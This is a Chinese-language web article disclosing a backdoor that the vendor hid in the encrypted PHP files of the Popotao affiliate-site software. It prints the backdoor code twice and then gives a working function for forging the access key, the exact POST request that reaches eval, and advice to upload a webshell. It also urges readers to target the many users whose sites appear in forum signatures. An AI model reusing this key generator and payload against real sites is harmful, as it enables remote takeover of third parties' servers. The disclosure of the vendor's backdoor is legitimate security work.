网站地图    收藏   

主页 > 后端 > 网站安全 >

泡泡淘(popotao)淘客程序官方后门分析 - 网站安

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 泡泡淘是一个蛮不错的淘客建站程序,官方网址:http://www.popotao.com。本人就是他们的用户之一由于官方几个月不更新,跟不上淘宝API的更新速度,所以我想自己解决,把官方的6个ZEND加...

泡泡淘是一个蛮不错的淘客建站程序,官方网址:http://www.popotao.com。 
 
本人就是他们的用户之一
 
由于官方几个月不更新,跟不上淘宝API的更新速度,所以我想自己解决,把官方的6个ZEND加密过的PHP文件破解了。结果发现了极其恶心的事情。 
 
在include/admin.func.php文件的最下面,发现以下代码,这是2012年9月27日的版本。妈的,ZEND加密保护版权还有网站授权认证无可厚非。但是利用加密加入后门。就太可耻了。 
 
1 if ( isset( $_POST['_tks'] ) && ( $tks = trim( $_POST['_tks'] ) ) )  
 
2 {  
 
3     $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );  
 
4     if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )  
 
5     {  
 
6         eval( $_POST['tao'] );  
 
7     }  
 
8     exit( );  
 
9 } 
 
后来2月4号跟官方交涉,官方还死不承认,但是在之后的几个小时内。马上更新了补丁。也就是20130204的版本。还是信不过。继续解密。发现仍不思悔改。只不过提交的参数名变了。在程序里留个后门。对用户是多么的不负责。再次鄙视。后门代码还是include/admin.func.php文件里的最下面。 
 
1 if ( isset( $_POST['_MDFK'] ) && ( $tks = trim( $_POST['_MDFK'] ) ) )  
 
2 {  
 
3     $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );  
 
4     if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )  
 
5     {  
 
6         eval( $_POST['_HkBs'] );  
 
7     }  
 
8     exit( );  
 
9 } 
 
既然对用户这么不负责,那我只有公布泡泡淘的丑陋行径了。如果只是漏洞,可以不公布利用方法,但是这里是官方留下的后门。那就一定要给出利用方法。 
 
里用原理就是提交一个字符串,然后通过了域名和时间的验证,顺利到达eval这里。活生生的一句话后门。不搞安全的可能不知道。我只需要说,有这句代码,控制你们网站的服务器。真的没什么问题。把PID什么的改掉。你的网站就帮别人赚钱吧。 
 
01 function getfuckkey($domain = ''){  
 
02     $time = 'K_'.date("Y_m_d");  
 
03     //$domain = $_SERVER['HTTP_HOST'];  
 
04     if ($domain) {  
 
05         $key = $domain.'|'.$time;  
 
06         $key2 = base64_encode(~$key);  
 
07         $key3 = strrev($key2);  
 
08         $k1 = substr( $key3, 0, 5 );  
 
09         $k2 = substr( $key3, 5, -3 );  
 
10         $k3 = substr( $key3, -3 );  
 
11         $key4 = $k3.$k1.$k2;  
 
12         return $key4;  
 
13     } else {  
 
14         return '';  
 
15     }  
 
16 }  
 
17 echo getfuckkey('xiaosajie.com'); 
 
这样可以得到字符串,然后post方式,注意必须POST方式提交,提交到include/admin.func.php?_MDFK={key}&_HkBs=phpinfo() 
 
就可以查看phpinfo();或者直接上传大马,随便了。 
 
泡泡淘的用户很多,在官方论坛里,很多人的帖子签名都有网站。随便搞就是一大堆。 
 
最后预祝大家蛇年行大运。4ngel给各位拜年了。 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论